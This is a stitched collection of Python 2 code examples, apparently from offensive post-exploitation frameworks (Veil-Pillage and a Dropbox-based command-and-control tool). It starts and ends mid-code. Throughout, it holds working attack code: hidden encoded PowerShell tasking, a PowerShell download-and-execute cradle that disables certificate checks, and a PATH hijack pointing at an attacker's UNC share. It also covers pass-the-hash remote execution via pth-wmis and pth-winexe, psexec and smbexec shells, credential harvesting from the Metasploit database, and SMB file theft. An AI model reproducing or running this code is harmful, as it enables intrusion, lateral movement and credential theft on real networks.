                                                 "runPSModule",
                                                 args=[moduleName, moduleArgs])

            # Turn the powershell code into a suitable powershell base64 encoded one line command
            base64Payload = helpers.powershellEncode(poshCmd)

            # Create the final command
            cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format(
                base64Payload)

            # Prepare the task format, then put the task into the command file
            data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd,
                                               helpers.randomString(16))
            r = self.dropboxHandler.putFile(
                self.statusHandler.getAgentAttribute(self.agentID,
                                                     'commandFile'),
                Crypto.encryptData(data, self.statusHandler.masterKey))

            if r is not None:
                # Commit this task for the current agent
                self.statusHandler.commitTask(task)
                print helpers.color(
                    "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                    format(self.agentID, task['id']))
            else:
                print helpers.color(
                    "[!] Error tasking agent with ID [{}]".format(
                        self.agentID))
Example #30
0
    def run(self):

        # assume single set of credentials (take the first one)
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        lhost = self.required_options["lhost"][0]

        for target in self.targets:

            existingPath, newPath = "", ""

            # reg.exe to get the current path
            pathCMD = "reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path"
            pathResult = command_methods.executeResult(target, username, password, pathCMD, triggerMethod)

            # parse the PATH output
            parts = pathResult.split("\r\n")
            # check if we get a valid result
            if parts[1].startswith("HKEY"):
                regParts = parts[2].split()
                existingPath = " ".join(regParts[2:])

            if existingPath != "":
                newPath = "\\\\"+lhost+"\\system\\;"+existingPath
            else:
                print helpers.color(" [!] Error: No path found\n", warning=True)

            regCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \""+newPath+"\""

            regResult = command_methods.executeResult(target, username, password, regCMD, triggerMethod)

            if regResult == "":
                self.output += "[!] No result file, reg PATH set failed using creds '"+username+":"+password+"' on : " + target + "\n"
            elif "The operation completed successfully." in regResult:
                self.output += "[*] reg PATH successfully set with \\\\"+lhost+"\\system using creds '"+username+":"+password+"' on : " + target + "\n"

                # add in our cleanup command to restore the original PATH
                cleanupCMD = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /v Path /t REG_EXPAND_SZ /f /d \""+existingPath+"\""
                self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD+"|"+triggerMethod+"\n"
            
                # allow \\UNC loading in %PATH% :)
                regCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 0"
                regResult2 = command_methods.executeResult(target, username, password, regCMD2, triggerMethod)
                self.output += "[*] reg command to allow UNC loading successfully set using creds '"+username+":"+password+"' on : " + target + "\n"
                # cleanup -> make everything more secure by disable UNC/SMB loading
                cleanupCMD2 = "REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" /v CWDIllegalInDllSearch /t REG_DWORD /f /d 2"
                self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+cleanupCMD2+"|"+triggerMethod+"\n"
            else:
                self.output += "[!] reg PATH set failed using creds '"+username+":"+password+"' on : " + target + "\n"

        # print a message if command succeeded on at least one box
        if self.output != "":
            self.output += "[*] run ./tools/dll_monitor.py to monitor for .dll hijacking"
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        spawnHandler = self.required_options["spawn_handler"][0]

        # create our powershell payload
        p = virtual.Payload()

        # pull out any msfpayload payloads/options
        if self.args.msfpayload:
            p.shellcode.SetPayload([self.args.msfpayload, self.args.msfoptions])

        # set custom shellcode if specified
        elif self.args.custshell:
            p.shellcode.setCustomShellcode(self.args.custshell)

        # get the powershell command
        powershellCommand = p.generate()

        # re-print the title and module name after shellcode generation (Veil-Evasion trashes this)
        messages.title()
        sys.stdout.write(" [*] Executing module: " + helpers.color(self.name) + "...")

        # if we're using Veil-Evasion's generated handler script, try to spawn it
        if spawnHandler.lower() == "true":
            # turn the payload shellcode object into a handler script
            handlerPath = helpers.shellcodeToHandler(p.shellcode)
            # make sure a handler was returned
            if handlerPath != "":
                # command to spawn a new tab
                cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
                # invoke msfconsole with the handler script in a new tab
                os.system(cmd)
                raw_input("\n\n [>] Press enter when handler is ready: ")


        for target in self.targets:

            print helpers.color(" [*] Triggering powershell command on "+target)

            # execute the powershell command on each host
            command_methods.executeCommand(target, username, password, powershellCommand, triggerMethod)

            self.output += "[*] Powershell inject command triggered using creds '"+username+":"+password+"' on "+target+" with "+triggerMethod+"\n"

            # build our cleanup file -> kill all powershell processes
            killCMD = "taskkill /f /im powershell.exe"
            self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCMD+"|"+triggerMethod+"\n"
Example #32
0
	def do_genStager(self, args):
		"""genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>\nGenerates a stager of the selected type using a specific published stage name"""

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>")
			return

		arguments = args.split()
		if len(arguments) < 2:
			print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>")
			return

		stagerType = arguments[0]
		stageName = arguments[1]

		if stagerType not in ['oneliner', 'batch', 'macro', 'msbuild', 'javascript', 'ducky', 'sct']:
			print helpers.color("[!] Invalid stager type")
			return

		if not self.statusHandler.isValidStage(stageName):
			print helpers.color("[!] Invalid stage: wrong name or no shared URL found")
			return

		self.mainHandler.genStager(stagerType, stageName)
Example #33
0
    def taskAgentWithShell(self, cmd):
        # Prepare the task format, then put the task into the command file
        data = "shell\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16))
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            Crypto.encryptData(data, self.statusHandler.masterKey))

        if r is not None:
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with shell command".
                format(self.agentID))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Example #34
0
    def do_use(self, args):
        """use <agentID>\nSelect the current agent to work with. Must be an ACTIVE or SLEEPING agent"""

        # Checking args
        if not args:
            print helpers.color(
                "[!] Please specify an agent ID. Command format: use <agentID>"
            )
            return

        agentID = args.split()[0]

        if self.statusHandler.agentIsKnown(agentID):
            if self.statusHandler.agentIsDead(agentID):
                print helpers.color(
                    "[!] Cannot use a 'DEAD' agent. Check for ALIVE or SLEEPING agent using the 'list' command"
                )
                return

            print helpers.color("[*] Using agent ID [{}]".format(agentID))
            self.agentHandler.agentID = agentID
            agentMenu = AgentMenu(self.agentHandler, self.statusHandler)
            agentMenu.cmdloop()
        else:
            print helpers.color("[!] Unkown agent ID [{}]".format(agentID))
Example #35
0
	def do_use(self, args):
		"""use <agentID>\nSelect the current agent to work with"""

		# Checking args
		if not args:
			print helpers.color("[!] Please specify an agent ID. Command format: use <agentID>")
			return
		
		agentID = args.split()[0]

		if not agentID in self.agentList:
			print helpers.color("[!] Invalid agent ID")
			return

		# Sending message to main thread to switch to a new agent ID
		self.c2mQueue.put({'type': 'switchAgent', 'ID': agentID})

		# Waiting for main thread's response
		mainMessage = self.m2cQueue.get()
		
		if mainMessage['type'] == 'switchAgent':
			if mainMessage['value'] == 'OK':
				self.currentAgentID = agentID
				self.prompt = "[{}]#> ".format(agentID)
			elif mainMessage['value'] == 'NOK':
				print helpers.color("[!] Agent not available anymore")
		else:
			# Unexpected mainMessage type at this stage
			print helpers.color("[!] Unexpected message type at this stage: ")
			print mainMessage
Example #36
0
	def do_sendFile(self, args):
		"""sendFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used"""

		if not self.statusHandler.agentCanBeTasked(self.agentHandler.agentID):
			print helpers.color("[!] Agent can't be tasked (either because it's DEAD or already tasked with something)")
			return
		
		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: sendFile <local file> [destination path]")
			return
		
		try:
			arguments = helpers.retrieveQuotedArgs(args,2)
		except ValueError as e:
			print helpers.color("[!] Wrong arguments format: {}".format(e))
			return
	
		localFile = arguments[0]
		
		# Path normalization for Windows
		if len(arguments) > 1:
			# Add a trailing backslash if missing and replace forward slashes to backslashes
			destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\")
		else:
			destinationPath = "temp"
		
		if os.path.isfile(localFile):
				self.agentHandler.taskAgentWithSendFile(localFile, destinationPath)
		else:
			print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
Example #37
0
    def execute_remote(self, data):
        """
        Execute a particular command ('data') that outputs the command
        to self.__output.
        """
        
        # if we don't have an output file, modify the command
        if not self.__output:
            command = self.__shell + 'echo ' + data + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        else:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        command += ' & ' + 'del ' + self.__batchFile 

        # actually create the service
        try:
            resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le'))

        except Exception as e:
            print "Exception:",e
            if "ERROR_SERVICE_EXISTS" in str(e):
                print helpers.color(" [!] Service already exists! Deleting and recreating...", warning=True)

                # try to stop/remove this service if it exists
                resp2 = self.rpcsvc.OpenServiceW(self.__scHandle, self.__serviceName)
                service = resp2['ContextHandle']
                try:self.rpcsvc.StopService(service)
                except: pass
                try: self.rpcsvc.DeleteService(service)
                except: pass

                # recreate the service again
                resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le'))

        # start the service
        service = resp['ContextHandle']
        try: 
            self.rpcsvc.StartServiceW(service)
        except Exception as e: pass

        print " [*] Removing service %s..." % self.__serviceName
        # delete the service and close the service handler
        # self.rpcsvc.StopService(service)
        self.rpcsvc.DeleteService(service)
        self.rpcsvc.CloseServiceHandle(service)

        # don't try to return output if we specified no output file
        if not self.__output: return None
        # otherwise return the output
        else: return self.get_output()
Example #38
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        group = self.required_options["group"][0]

        triggerMethod = "winexe"

        for target in self.targets:
            
            targetUsernames = []

            # reg.exe command to query the domain group
            # we want to do this on each box so we can operate across domains!
            command = "net group \"%s\" /domain" %( group )
            result = command_methods.executeResult(target, username, password, command, triggerMethod)

            # TODO: sanity check that we get a correct file back?

            # find the ---------- marker, get the bottom half, split by newline
            # and extract just the name fields
            nameParts = result[result.find("-----"):].split("\r\n")[1:-3]
            for part in nameParts:
                targetUsernames.extend(part.lower().split())

            # check the task list on the host
            taskListResult = command_methods.executeResult(target, username, password, "tasklist /V /FO CSV", triggerMethod)
            
            # check the sessions list on the host
            sessionsResult = command_methods.executeResult(target, username, password, "qwinsta", triggerMethod)

            print ""

            # for each username in our target list, see if they show up in the queried results
            for u in targetUsernames:
                if u.lower() in taskListResult.lower():
                    self.output += "[*] User '%s\\%s' has a process on %s\n" %(group, u, target)
                    print helpers.color("\n [*] User '%s\\%s' has a process on %s!" %(group, u, target))
                    time.sleep(1)
                if u.lower() in sessionsResult.lower():
                    self.output += "[*] User '%s\\%s' has a session on %s\n" %(group, u, target)
                    print helpers.color(" [*] User '%s\\%s' has a session on %s!" %(group, u, target))
                    time.sleep(1)

        # if we have no results, add message to the output
        if self.output == "":
            self.output = "[!] No users found\n"
Example #39
0
def powershellTrigger(targets, username, password, url, scriptArguments="", triggerMethod="wmis", outFile=None, noArch=False):
    """
    Trigger a specific url to download a powershell script from.

    url                 - the full url (http/https) to download the second stage script from
    scriptArguments     - the arguments to pass to the script we're invoking
    outFile             - if you want to the script to output to a file for later retrieval, put a path here
    noArch              - don't do the arch-independent launcher
    """

   # this surpasses the length-limit implicit to smbexec I'm afraid :(
    if triggerMethod.lower() == "smbexec":
        print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # if the url doesn't start with http/https, assume http
    if not url.lower().startswith("http"):
        url = "http://" + url

    if scriptArguments.lower() == "none": scriptArguments = ""

    # powershell command to download/execute our secondary stage,
    #   plus any scriptArguments we want to tack onto execution (i.e. PowerSploit)
    # for https, be sure to turn off warnings for self-signed certs in case we're hosting
    if url.lower().startswith("https"):
        downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments
        
    else:
        downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments

    # get the encoded powershell command
    triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch)

    # if we want to get output from the final execution, append it
    if outFile: triggerCMD += " > " + outFile

    # execute the powershell trigger command on each target
    for target in targets:
        print "\n [*] Executing command on "+target
        out = command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod)
Example #40
0
def getFile(target, username, password, fileName, delete=False):
    """
    Get a specified fileName from a target with the supplied credentials
    and then optionally delete it.

    delete = True will delete the file from the server after download
    """

    # establish our smb connection
    conn = smbConn(target, username, password)
    out = ""

    # make sure we have a valid smb connection
    if conn:
        
        try:
            # if we're passed a full path filename with C:\Path\blah
            # strip out the preceeding "C:"
            if fileName.lower()[:2] == "c:":
                fileName = "\\".join(fileName.split("\\")[1:])

            # use StringIO so we don't have to write temporarily to disk
            output = StringIO.StringIO()
            conn.getFile("C$", fileName, output.write)
            
            # delete the file from the host if 'delete' is set to True
            if delete:
                conn.deleteFile("C$", fileName)

            # get the text of the file and close the StringIO object off
            out = output.getvalue()
            output.close()

        except Exception as e:
            if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
                print helpers.color(" [!] Error: file '"+fileName+"' not found on " + target, warning=True)
            else:
                print helpers.color(" [!] Error in execution: " + str(e), warning=True)

        # close off the smb connection
        conn.logoff()

    return out
Example #41
0
def mainMenu(modules, mainCommands):
    """
    Print the main title, number of modules loaded, and 
    the available commands for the main menu
    """

    title()
    print " Main Menu\n"
    print "\t" + helpers.color(str(len(modules))) + " modules loaded\n"
    commands(mainCommands)
Example #42
0
def executeCommand(target, username, password, cmd, triggerMethod="wmis"):
    """
    This is one of the main command interface method everyone should use!

    Wrapper to call wmisCommand() or winexeCommand()
    depending on the trigger method passed, defaulting to 'wmis'.

    Returns "sucess" on success, and "failure" on failure.
    """

    if triggerMethod.lower() == "wmis":
        return wmisCommand(target, username, password, cmd)
    elif triggerMethod.lower() == "winexe":
        return winexeCommand(target, username, password, cmd)
    elif triggerMethod.lower() == "smbexec":
        return smbexecCommand(target, username, password, cmd)
    else:
        print "method:",triggerMethod
        print helpers.color(" [!] Error: please specify wmis, winexe, or smbexec for a trigger method", warning=True)
        return "failure"
Example #43
0
    def getMSFCreds(self):
        """
        Query the MSF database for credentials and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True)
            return ""

        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for creds -> gotta join the creds, services and hosts tables
            cur.execute('SELECT hosts.address, services.port, creds.user, creds.pass FROM msf3.public.creds creds INNER JOIN msf3.public.services services on creds.service_id = services.id INNER JOIN msf3.public.hosts on services.host_id = hosts.id;')

            # get ALL the results and close off our cursor
            creds = cur.fetchall()
            cur.close()

            return creds
Example #44
0
    def getCSListeners(self):
        """
        Query the MSF database for Cobalt Strike listeners and return them.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True)
            return ""
        
        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            foundListeners = []

            cur.execute('SELECT data FROM msf3.public.notes where ntype=\'cloudstrike.listeners\'')

            # get ALL the results and close off our cursor
            results = cur.fetchall()
            cur.close()

            try:
                # flatten the tuples into a list
                raw = [element.decode('base64','strict') for tupl in results for element in tupl]

                if len(raw) > 0:
                    # decode the raw listener data
                    listeners = raw[0].split('\x00')[-1][1:].split("\x01=")[-1].split("!!")

                    for listener in listeners:
                        parts = listener.split("@@")
                        name, payload, lport, lhost = parts[0], parts[1], parts[2], parts[4]

                        # append the listener to our internal list
                        foundListeners.append((name, payload, lhost, lport))
            
            except: return []

            return foundListeners
Example #45
0
def executeResult(target, username, password, cmd, triggerMethod="wmis", pause=1):
    """
    This is one of the main command interface method everyone should use!

    Wrapper to call wmisExecuteResult() or winexeExecuteResult() 
    depending on the trigger method passed, defaulting to 'wmis'.

    'pause' is the number of seconds between execution of the command
    and the grabbing of the temporary file, defaults to 1 second

    Returns the result of the command on success, and "failure" on failure.
    """

    if triggerMethod.lower() == "wmis":
        return wmisExecuteResult(target, username, password, cmd, pause)
    elif triggerMethod.lower() == "winexe":
        return winexeExecuteResult(target, username, password, cmd, pause)
    elif triggerMethod.lower() == "smbexec":
        return smbexecExecuteResult(target, username, password, cmd)
    else:
        print helpers.color(" [!] Error: please specify wmis, winexe, or smbexec for a trigger method", warning=True)
        return "failure"
Example #46
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        outFile = self.required_options["out_file"][0]

        # wmis doesn't like net * /domain commands >_<
        triggerMethod = "winexe"

        if "\\" not in outFile:
            # otherwise assume it's an absolute path
            outFile = "C:\\Windows\\Temp\\" + outFile 

        for target in self.targets:

            targetUsernames = []

            command = "echo NET VIEW:>>%(p)s&net view /domain>>%(p)s&echo NET USERS:>>%(p)s&net users /domain>>%(p)s&echo NET GROUPS:>>%(p)s&net groups /domain>>%(p)s&echo NET ACCOUNTS:>>%(p)s&net accounts /domain>>%(p)s"%{"p":outFile}

            # execute the command
            result = command_methods.executeCommand(target, username, password, command, triggerMethod)

            # wait 20 seconds for commands to run
            print helpers.color("\n [*] Waiting 20 seconds for enumeration commands to run on '"+target+"'", status=True)
            time.sleep(20)

            # # grab the output file and delete it
            out = smb.getFile(target, username, password, outFile, delete=True)

            if out != "":
                # save the file off to the appropriate location
                saveFile = helpers.saveModuleFile(self, target, "enum_domain.txt", out)
                self.output += "[*] enum_domain results using creds '"+username+":"+password+"' on "+target+" stored at "+saveFile+"\n"
            else:
                self.output += "[!] enum_domain failed using creds '"+username+":"+password+"' on "+target+" : no result file\n"
Example #47
0
    def getMSFHosts(self):
        """
        Query the MSF database for unique hosts and return them as a list.
        """

        if not self.conn or self.conn.closed == "1":
            print helpers.color("\n [!] Not currently connected to the MSF database\n", warning=True)
            return ""
        
        else:
            # get a cursor for our database connection
            cur = self.conn.cursor()

            # execute the query for unique host addresses
            cur.execute('SELECT DISTINCT address from msf3.public.hosts;')

            # get ALL the results and close off our cursor
            results = cur.fetchall()
            cur.close()

            # flatten the tuples into a list
            hosts = [element for tupl in results for element in tupl]

            return hosts
Example #48
0
    def run(self):
        
        # assume single set of credentials for this module
        username, password = self.creds[0]

        # see if we need to extract a domain from "domain\username"
        domain = ""
        if "/" in username:
            domain,username = username.split("/")

        executer = impacket_psexec.PSEXEC('cmd.exe', "", None, "445/SMB", username, password, domain, None)
        print "\n\n [*] Type "+helpers.color("'exit'") + " to exit the shell\n"

        for target in self.targets:
            executer.run(target)
            self.output += "[*] Impacket psexec.py shell run using creds '"+username+":"+password+"' on "+target+"\n"
Example #49
0
def uploadFileConn(smbConn, share, uploadPath, fileName):
    """
    Upload a specified file to an established smb connection.

    Takes a valid smb connection, and uploads 'fileName' to
    the specified share\\'uploadPath' on the target.

    Returns "success" if file is uploaded, "" otherwise
    """

    # if the share isn't specified, default to C$
    if not share or share == "":
        share = "C$"

    # get the remote IP for this smb connection
    target = smbConn.getRemoteHost()

    try:
        try:
            # extract out just the name of the file to upload
            uploadName = fileName.split("/")[-1]

            # read in the file contents and attempt to upload it to the smb connection
            f = open(fileName)
            smbConn.putFile(share, uploadPath+"\\"+uploadName, f.read)
            f.close()

            print helpers.color("\n [*] File "+fileName+" successfully uploaded to "+target+":"+share+"\\"+uploadPath)
            return "success"
        
        # sanity check in case 'fileName' doesn't exist
        except IOError as e:
            print helpers.color("\n [!] File "+fileName+" doesn't exist!", warning=True)

    # try to do a bit of error handling
    except Exception as e:
        if "The NETBIOS connection with the remote host timed out" in str(e):
            print helpers.color("\n [!] The NETBIOS connection with "+target+" timed out", warning=True)
        else:
            print helpers.color("\n [!] SMB file upload of "+fileName+" unsuccessful on " + target, warning=True)

    return ""
Example #50
0
    def run(self):

        # assume single set of credentials for this module
        username, password = self.creds[0]

        # see if we need to extract a domain from "domain\username"
        domain = ""
        if "/" in username:
            domain,username = username.split("/")

        for target in self.targets:

            print "\n\n [*] Type "+helpers.color("'exit'") + " to exit the shell\n"

            # TODO: handle hashes
            shell = impacket_smbclient.MiniImpacketShell(username=username, password=password, domain=domain, host=target)
            shell.cmdloop()

            self.output += "[*] Impacket smbclient.py shell run using creds '"+username+":"+password+"' on "+target+"\n"
Example #51
0
def wmisCommand(target, username, password, cmd, outputFile=None):
    """
    Use wmis to execute a specific command on a target with the specified creds
    utilizes pth-wmis from passing-the-hash toolkit.

    If output for the command is wanted, supply an output file to "outputFile"

    Returns "success" on success and "failure" on failure.
    """

    # if we want the output of the command to be output to a file on the host
    if outputFile:
        # output result of command to C:\Windows\Temp\'output'
        wmisCMD = "pth-wmis -U '"+username+"%"+password+"' //"+target+" 'cmd.exe /C "+cmd+" > C:\\\\Windows\\\\Temp\\\\"+outputFile+"'"
    else:
        # just run the command
        wmisCMD = "pth-wmis -U '"+username+"%"+password+"' //"+target+" 'cmd.exe /C "+cmd+"'"

    # run the pth-wmis command on our system and get the output
    output = runCommand(wmisCMD)

    # if "Success" isn't in the command output, try to print the reason why
    if "Success" not in output:
        if "NT_STATUS_HOST_UNREACHABLE" in output or "NT_STATUS_NO_MEMORY" in output:
            print helpers.color(" [!] Host "+target+" unreachable", warning="True")
            return "error: host unreachable"
        elif "NT_STATUS_CONNECTION_REFUSED" in output:
            print helpers.color(" [!] Host "+target+" reachable but port not open", warning="True") 
            return "error: connection refused"
        elif "NT_STATUS_ACCESS_DENIED" in output or "NT_STATUS_LOGON_FAILURE" in output:
            print helpers.color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
            return "error: credentials failed"
        else:
            print helpers.color(" [!] Misc error on "+target, warning="True")
            return "error: misc failure"

    return "success"
Example #52
0
    def run(self):

        # assume single set of credentials for this module
        username, password = self.creds[0]

        # see if we need to extract a domain from "domain\username"
        domain = ""
        if "/" in username:
            domain, username = username.split("/")

        # the service name to create on the box
        serviceName = self.required_options["service_name"][0]

        executer = impacket_smbexec.CMDEXEC(
            "445/SMB", username, password, domain, None, "SHARE", "C$", serviceName=serviceName
        )
        print "\n\n [*] Type " + helpers.color("'exit'") + " to exit the shell\n"

        for target in self.targets:
            executer.run(target)
            self.output += (
                "[*] Impacket smbexec.py shell run using creds '" + username + ":" + password + "' on " + target + "\n"
            )
Example #53
0
def moduleMenu(module, moduleCommands, showAll=False):
    """
    Print the main title, the name and description of the passed
    module, and the module's required options and values.

    module - the module to display information options
    moduleCommands - the available module commands to display
    """

    title()

    # nicely print the module name and description
    print " Module: \t" + helpers.color(module.name)
    print helpers.formatLong("Description:", module.description, frontTab=False)

    # nicely print out the module's required options and values
    if hasattr(module, 'required_options'):
        print "\n Required Options:\n"

        print " Name\t\t\tCurrent Value\tDescription"
        print " ----\t\t\t-------------\t-----------"

        # sort the dictionary by key before we output, so it looks nice
        for key in sorted(module.required_options.iterkeys()):
            desc = helpers.formatDesc(module.required_options[key][1])
            print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format(module.required_options[key][0]), desc)


    # print out all the available commands for this module
    if showAll:
        moduleCommandsShow = moduleCommands
    # by default skip "list", "set", "reset", and "db" as these are also on the main menu
    else:
        moduleCommandsShow = [(cmd,desc) for (cmd,desc) in moduleCommands if cmd not in ["list", "set", "setg", "reset", "db"]]
    
    # display the stripped command list
    commands(moduleCommandsShow)
Example #54
0
def ls(target, username, password, path, path_error=True):
    """
    Performs a directory listing of a given path

    path_error=True will print a warning if the supplied path does not exist
    """

    # establish our smb connection
    conn = smbConn(target, username, password)
    file_names = []

    if conn:

        try:

            #if our path ends with a \ strip it
            if path[-1:] == "\\":
                path = path[:-1]

            # if we're passed a full path filename with C:\Path\blah
            # strip out the preceeding "C:"
            if path.lower()[:2] == "c:":
                path = "\\".join(path.split("\\")[1:]) + "\\*"

            files = conn.listPath("C$", path)
            for f in files:
                file_names.append(f.get_longname())

        except Exception as e:
            if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
                if path_error:
                    print helpers.color(" [!] Error: " + path + " does not exist", warning=True)
            elif "STATUS_OBJECT_NAME_INVALID" in str(e):
                if path_error:
                    print helpers.color(" [!] Error: " + path + " does not exist", warning=True)
            else:
                print helpers.color(" [!] Error in execution: " + str(e), warning=True)

    return file_names
Example #55
0
    def run(self):

        try:
            file_path = self.required_options["file_path"][0]

            # make the tmp hosting directory if it doesn't already exist
            if not os.path.exists(settings.TEMP_DIR + "shared/"): 
                os.makedirs(settings.TEMP_DIR + "shared/")

            # grab just the file name to hsot
            hostedFileName = file_path.split("/")[-1]

            # copy the payload to the random hostedFileName in the temp directory
            os.system("cp "+file_path+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName)

            # spin up the SMB server 
            server = smb.ThreadedSMBServer()
            server.start()
            time.sleep(.5)

            print helpers.color("\n [*] Hosting file "+file_path+" at "+helpers.lhost()+"\\system\\"+hostedFileName)
            print helpers.color(" [*] Press Ctrl+C to kill the server")

            # sleep until Ctrl + C
            while 1==1:
                time.sleep(1)

        # catch any ctrl + c interrupts
        except KeyboardInterrupt:

            print helpers.color("\n\n [!] Killing SMB server...\n", warning=True)

            # shut the smb server down
            server.shutdown()

            # remove the temporarily hosted files
            os.system("rm -rf " + settings.TEMP_DIR+"/shared/")

            self.output += "[*] SMB server hosted "+file_path+"\n"
Example #56
0
def winexeCommand(target, username, password, cmd, outputFile=None):
    """
    Use pth-winexe to execute a specific command on a target with the specified creds.

    If you don't want to get the output of the command, i.e. for triggering a payload,
    pass 'output=False'

    Returns "success" on success and "failure" on failure.
    """
    
    # add in some string escapes into the passed command - needed?
    # cmd = cmd.replace("\\", "\\\\")
    
    # if we want the output of the command to be output to a file on the host
    if outputFile:
        # output result of command to C:\Windows\Temp\'outputFile'
        winexeCMD = "pth-winexe -U '"+username+"%"+password+"' --system --uninstall //"+target+" 'cmd.exe /C "+cmd+" > C:\\\\Windows\\\\Temp\\\\"+outputFile+"'"
    else:
        # just run the command
        winexeCMD = "pth-winexe -U '"+username+"%"+password+"' --system --uninstall //"+target+" 'cmd.exe /C "+cmd+"'"

    # run the pth-winexe command on our system and get the output
    output = runCommand(winexeCMD)

    # error checking
    if "NT_STATUS_HOST_UNREACHABLE" in output or "NT_STATUS_NO_MEMORY" in output:
        print helpers.color(" [!] Host "+target+" unreachable", warning="True")
        return "error: host unreachable"
    elif "NT_STATUS_CONNECTION_REFUSED" in output:
        print helpers.color(" [!] Host "+target+" reachable but port not open", warning="True")
        return "error: connection refused"
    elif "NT_STATUS_ACCESS_DENIED" in output or "NT_STATUS_LOGON_FAILURE" in output:
        print helpers.color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
        return "error: credentials failed"
    
    return "success"
Example #57
0
                options = [a.split("=") for a in args.m[1:]]
                pillage.setModule(module, options)
                # then back to the main menu if we get an exit
                pillage.mainMenu()

        # NOTE- if you want to run a particular module, do:
        # pillage.runModule('module/blah') to autorun without user interaction
        # AFTER you've set the appropriate options :)

        # perform any cleanup tasks and exit
        pillage.cleanup()
        sys.exit()

    # catch keyboard interrupts/rage-quits (ctrl+c)
    except KeyboardInterrupt:
        print helpers.color("\n\n [!] Rage-quit, exiting...\n", warning=True)
        # perform any cleanup tasks and exit
        try:
            pillage.cleanup()
        except:
            pass
        sys.exit()

    # catch all other exceptions and try to clean up gracefully
    except Exception as e:
        print helpers.color("\n\n [!] Error: " + str(e), warning=True)
        print helpers.color("\n [!] Saving state and exiting...\n", warning=True)
        try:
            pillage.cleanup()
        except:
            pass
Example #58
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        uploadName = self.required_options["upload_name"][0]


        # if we're using Veil-Evasion for payload generation
        if self.required_options["exe_path"][0].lower() == "veil":

            # create a Veil-Evasion controller object for payload generation
            con = controller.Controller()

            # check various possibly flags passed by the command line

            # if we don't have payload specified, jump to the main controller menu
            if not self.args.p:
                payloadPath = con.MainMenu()
            # otherwise, set all the appropriate payload options
            else:
                # pull out any required options from the command line and
                # build the proper dictionary so we can set the payload manually
                options = {}
                if self.args.c:
                    options['required_options'] = {}
                    for option in self.args.c:
                        name,value = option.split("=")
                        options['required_options'][name] = [value, ""]

                # pull out any msfvenom shellcode specification and msfvenom options
                if self.args.msfpayload:
                    options['msfvenom'] = [self.args.msfpayload, self.args.msfoptions]

                # manually set the payload in the controller object
                con.SetPayload(self.args.p, options)

                # generate the payload code
                code = con.GeneratePayload()

                # grab the generated payload .exe name
                payloadPath = con.OutputMenu(con.payload, code, showTitle=True, interactive=False)


            # nicely print the title and module name again (since Veil-Evasion trashes this)
            messages.title()
            print " [*] Executing module: " + helpers.color(self.name) + "..."

            # sanity check if the user exited Veil-Evasion execution
            if not payloadPath or payloadPath == "":
